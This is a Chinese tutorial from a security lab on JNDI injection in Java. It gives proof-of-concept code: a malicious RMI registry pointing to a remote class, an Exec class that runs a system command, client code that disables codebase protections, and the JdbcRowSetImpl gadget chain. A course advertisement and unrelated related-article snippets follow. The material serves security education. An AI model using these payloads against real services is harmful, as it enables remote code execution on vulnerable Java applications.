文章来源|MS08067安全实验室

本文作者:D_infinite(Java审计培训班讲师)


什么是JNDI?

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

就个人的理解,JNDI相当于在LDAP RMI等服务外面再套了一层API,方便统一调用。

JNDI的注入点

假设client端地址为10.0.0.1,先来看下面一段,JNDI的client端的代码

Context context = new  InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了,此时即使执行了evil所绑定的类,依然是在10.0.0.2上执行,无法影响到10.0.0.1,因此要引入一个新的概念

JNDI References

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码,可以得知,其主要记录了如下信息

protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

真正的JNDI注入

假设server地址为10.0.0.2,构造如下恶意RMI服务代码

Registry registry = LocateRegistry.createRegistry(9527);
Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");
ReferenceWrapper refWrap = new ReferenceWrapper(exec);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");
registry.bind("exec", refWrap);

上述代码非常简单,主要是将/exec这个路径绑定到一个Reference上,而这个Reference指向127.0.0.1:8080/Exec.class,其中Reference的构造函数第一个参数是className,第二个参数是classFactory

紧接着让我们构造Exec这个恶意类

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;public class Exec {public Exec() throws Exception{String cmd = "whoami";Process p = Runtime.getRuntime().exec(cmd);InputStream is = p.getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = is.read(b)) != -1){baos.write(b, 0, a);}System.out.println(new String(baos.toByteArray()));p.waitFor();}
}

将其编译为Exec.class文件,然后拷贝到web目录下

javac Exec.java
cp Exec.class /var/www/html/

假设client地址为10.0.0.1,构造如下漏洞代码

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new  InitialContext();
context.lookup("rmi://127.0.0.1/exec");

即可成功执行whoami命令

其中前两行代码主要用于解除安全限制

在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。

JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

深入源码探索

前面提到了,实际原因是触发了object factory,下面我们来看一下具体的触发调用链

核心代码触发代码从decodeObject开始

var1为传入的remote接口对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

在decodeObject中,会判断传入对象是满足RemoteReference接口,满足则通过getReference函数获取reference对象,然后进入getObjectInstance函数

if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusivelyfactory = getObjectFactoryFromReference(ref, f); //触发点1if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx,environment); //触发点2}// No factory found, so return original refInfo.// Will reach this point if factory class is not in// class path and reference does not contain a URL for itreturn refInfo;

在getObjectInstance函数中,一共有两处可执行RMI中定义的恶意代码的地方,一处是getObjectFactoryFromReference,在getObjectFactoryFromReference中会通过获取到对应的Class对象,通过clas.newInstance()触发恶意构造函数

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

另外一处,则是通过实例化的类,调用其getObjectInstance函数,只要我们实现了ObjectFactory接口,复写getObjectInstance函数,即可执行恶意代码

public class Exec implements ObjectFactory {public Exec(){}public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {System.out.println("factory.getObjectInstance hook!");return null;}
}

JdbcRowSetImpl的JNDI注入利用链

在实战过程中,context.lookup直接被外部调用的情况比较少,但是我们可以通过间接调用context.lookup实现JNDI的注入,JdbcRowSetImpl就是这样一条利用链,先来看一下最终的POC

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("rmi://127.0.0.1:9527/exec");
j.setAutoCommit(true);

调用链如下

可以看到,唯一的不同在于lookup前调用了setAutoCommit以及connect

1.在POC复现的过程中,由于编译Exec使用了1.8,运行Server以及Client使用了1.7,导致无法运行。由于JAVA版本向下兼容,因此实际利用过程中,建议使用1.6编译Exec.class,笔者偷懒,均采用了1.8

2.Exec的声明不能带package,否则无法触发,具体原因仍未查明。

D_infinite老师 主讲的

JAVA代码审计实战班

明天开课啦~

招生人数:为保证授课质量,小班教学,每期班只收20人

学习资源

每位报名学员免费邮寄一本配套教材《Java代码审计:入门篇》徐老师定制签名版,并提供课程中所有需要的相关软件和环境。

购买链接:https://item.jd.com/10033832360716.html

上课时间

开课时间8月6号,每周五、六、日的晚间 19:00-21:00 ,共24天,48小时,为期8周左右。如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。

学习方式

培训采用在线直播+随堂录播+配套教材+配套星球的形式,无需等待,报名后即刻邀请进Java代码审计星球立即开始预习!

讲师介绍

讲师A:某乙方实验室高级web研究员,《java代码审计:入门篇》作者,曾在freebuf、安全客发表多篇高质量技术文章,擅长代码审计,渗透测试,安全开发

讲师B:某甲方公司源代码审计工程师,深入了解常见漏洞源码层因,负责公司核心系统的源码审计及为业务提供漏洞修复方案

讲师C:某乙方安全研究员,主攻Java安全研究和主机安全领域,曾在多个沙龙上进行技术分享,在安全客/先知等平台发表过高质量文章

讲师D:某安全公司安全研究员小姐姐,主攻Java安全研究,擅长代码审计,安全开发,曾在freebuf、paper多个平台发表过高质量文章

课程大纲

课程费用

每期班定价4999,首期班特价4699前20名加入均送JAVA审计知识星球资格价值499元);

凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部价4499

每个报名学员都享受一次免费的重听权益,一次没学懂就再来一遍。请有意参加培训的学员抓紧报名!(可开票)

报名咨询请联系小客服

如何提前预习

  • 为更顺利的完成课程相关内容,请同学一定要提前预习相关知识点,已经报名的同学,请阅读报名时赠送的《JAVA代码审计:入门篇》一书,并且在赠送的“JAVA审计星球”中学习相关的内容。

例如:#互动答疑#如何学习代码审计

例如:#思路梳理#集中回答共性问题

例如:#思路梳理#学习技巧

  • 还没有报名的可以去我们B站观看我们和漏洞银行联合推出的免费课程来学习!

    https://www.bugbank.cn/live/java

直播培训和知识星球的区别

  • 从内容上来讲,知识星球的定位是图书的部分配套技术视频讲解。而直播培训内容是在此基础上一整套全新的课程体系,强化了JAVA基础,漏洞覆盖面也更全跟更详细、进阶干货内容更加深入、开源组件漏洞分析案例也更多等,总之有本质的区别。

  • 从形式来看,知识星球是一个类似论坛版块的形式,更有利于圈子的交流,我们提供的视频教程需要你去下载、去看、去练才能学会,买了如果不下载、下载回来如果不看、看了如果不练那还是没有用。那直播培训的目标是让您学会,而不是仅仅给您一堆视频教程去看,我们会布置作业,会有批改,会有现场解答,更系统的小班辅导,这也是我们每期限定人数的原因。

  • 我们非常珍惜读者对MS08067的信任,我们希望可以做小而精的高质量在线培训,如果我们去投广告宣传做大后就会变质,在这里每个报名学员都可以享受免费的重听权益,一次没学懂就再来一遍,实际工作中碰到问题,那就带着问题再来重听一遍。

    为什么选择MS08067直播培训     

MS08067近年来在安全界的口碑还是有目共睹的,特别是对信安感兴趣的学生、爱好者做了些有意义的事情,是真心实意的为读者,绝无半点虚假,做星球的初衷也是为了满足读者对于图书配套视频的需求,不像一些培训把心思花在宣传、花在“卖教程”上,实验室4年出版了5本原创图书就可以看出我们的初心和技术能力。

此次培训围绕红队攻击中的实战应用,重点突出实战、干货、思路、深度。负责讲解的老师也是MS08067的资深核心骨干成员,拥有多年的实战工作经验,让您所学的技术可以在企业中真正用得上。

很多读者跟我反映过开始都是看视频、看书自学,但是一旦遇到实验报错就没法解决,遇到不懂的技术点也没人解答,本应该重点掌握的技术也没有掌握,100%的初学者都会或多或少的走些弯路,学了1-2年还是效率低、进步慢,有的甚至就放弃了信安这个行业,学习信安要有圈子,也要有方法,自学当然没有问题,但该花的钱一分也不能少花。

最后再说下现在的信安培训也是鱼龙混杂,有很多挂羊头卖狗肉的也有很多商业化很成熟的机构,我们只希望做自己、多出书,然后做些小而精的培训,仅此而已。

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 

来和5000+位同学一起加入星球学习吧!

深入理解JAVA中的JNDI注入相关推荐

  1. 深入理解Java中的内存泄漏

    理解Java中的内存泄漏,我们首先要清楚Java中的内存区域分配问题和内存回收的问题本文将分为三大部分介绍这些内容. Java中的内存分配 Java中的内存区域主要分为线程共享的和线程私有的两大区域: ...

  2. 转: 理解AngularJS中的依赖注入

    理解AngularJS中的依赖注入 AngularJS中的依赖注入非常的有用,它同时也是我们能够轻松对组件进行测试的关键所在.在本文中我们将会解释AngularJS依赖注入系统是如何运行的. Prov ...

  3. 理解Java中的弱引用(Weak Reference)

    理解Java中的弱引用(Weak Reference) 本篇文章尝试从What.Why.How这三个角度来探索Java中的弱引用,理解Java中弱引用的定义.基本使用场景和使用方法.由于个人水平有限, ...

  4. 深入理解Java中的final关键字

    深入理解Java中的final关键字 http://www.importnew.com/7553.html Java中的final关键字非常重要,它可以应用于类.方法以及变量.这篇文章中我将带你看看什 ...

  5. 如何理解 JAVA 中的 volatile 关键字

    如何理解 JAVA 中的 volatile 关键字 最近在重新梳理多线程,同步相关的知识点.关于 volatile 关键字阅读了好多博客文章,发现质量高适合小白的不多,最终找到一篇英文的非常通俗易懂. ...

  6. java中demo接人_return的用法_如何理解java中return的用法?

    C语言中return用法?(请熟练者进) return是返回值,这个返回值是和函数的类型有关的,函数的类型是什么,他的返回值就是什么 比方主函数intmain() {}这里就必须有一个return,只 ...

  7. java弱引用怎么手动释放,十分钟理解Java中的弱引用,十分钟java引用

    十分钟理解Java中的弱引用,十分钟java引用 本篇文章尝试从What.Why.How这三个角度来探索Java中的弱引用,帮助大家理解Java中弱引用的定义.基本使用场景和使用方法.由于个人水平有限 ...

  8. 深入理解Java中的逃逸分析

    转载自  深入理解Java中的逃逸分析 在Java的编译体系中,一个Java的源代码文件变成计算机可执行的机器指令的过程中,需要经过两段编译,第一段是把.java文件转换成.class文件.第二段编译 ...

  9. 一文带你理解Java中Lock的实现原理

    转载自   一文带你理解Java中Lock的实现原理 当多个线程需要访问某个公共资源的时候,我们知道需要通过加锁来保证资源的访问不会出问题.java提供了两种方式来加锁,一种是关键字:synchron ...

  10. java 类 null_深入理解java中的null“类型”

    本文研究的主要是java中的null"类型"的相关实例,具体介绍如下. 先给出一道简单的null相关的题目,引发我们对null的探讨,后面会根据官方语言手册对null"类 ...

最新文章

  1. 进一步认识golang中的并发
  2. 加载静态文件,父模板的继承和扩展
  3. (原创)惠州市惠阳区房价偏低的原因深入分析
  4. javascript对页面简单的加密和解密
  5. 【QGIS入门实战精品教程】4.4:QGIS如何将点自动连成线、线生成多边形?
  6. Centos7.6 编译安装heartbeat,及遇到的问题。
  7. 移动端测试===adb shell top命令解释
  8. python for 格式化字符串 list.count
  9. WiFi无法连接?解决macOS Big Sur / Mojave / Catalina上的Wi-Fi问题
  10. BZOJ3591 最长上升子序列(状压dp)
  11. 渗透测试-主动信息收集(3)
  12. java elasticsearch 5.4.0 x-pack client
  13. 【力扣】合并两个有序链表
  14. Java 求向量夹角,坐标旋转
  15. python bmp转jpg
  16. 微软360度——成功与成长
  17. 37岁Java程序员求职6K+职位被怼,你怎么看?
  18. 选购发烧游戏台式计算机的内存储器,游戏发烧友福音 惠普暗影精灵5 Super游戏台式电脑评测...
  19. Laravel数据快速填充
  20. 2021年要毕业了,有必要考研吗?工作经验重要还是学历重要 ?

热门文章

  1. Oracle导入Excel中数据
  2. m3u8格式视频源列表
  3. Linux环境下安装Tableau Server
  4. react hooks子组件向父组件传参
  5. android 找不到 theme,android-找不到与给定名称'@ style / Theme.Holo.Light.DarkActionBar'匹配的资源...
  6. YOLO在服务器上训练,日志文件中不显示GFLOPs参数的问题
  7. java 错误 找不到符号_java错误:找不到符号
  8. 2021年最完善的谷歌SEO关键词调研技巧
  9. 矢量图标库Font Awesome的SVG新版本图标库5.x
  10. excel - 单元格的表示方式 (称为:单元格引用 )(类似:变量表示单元格)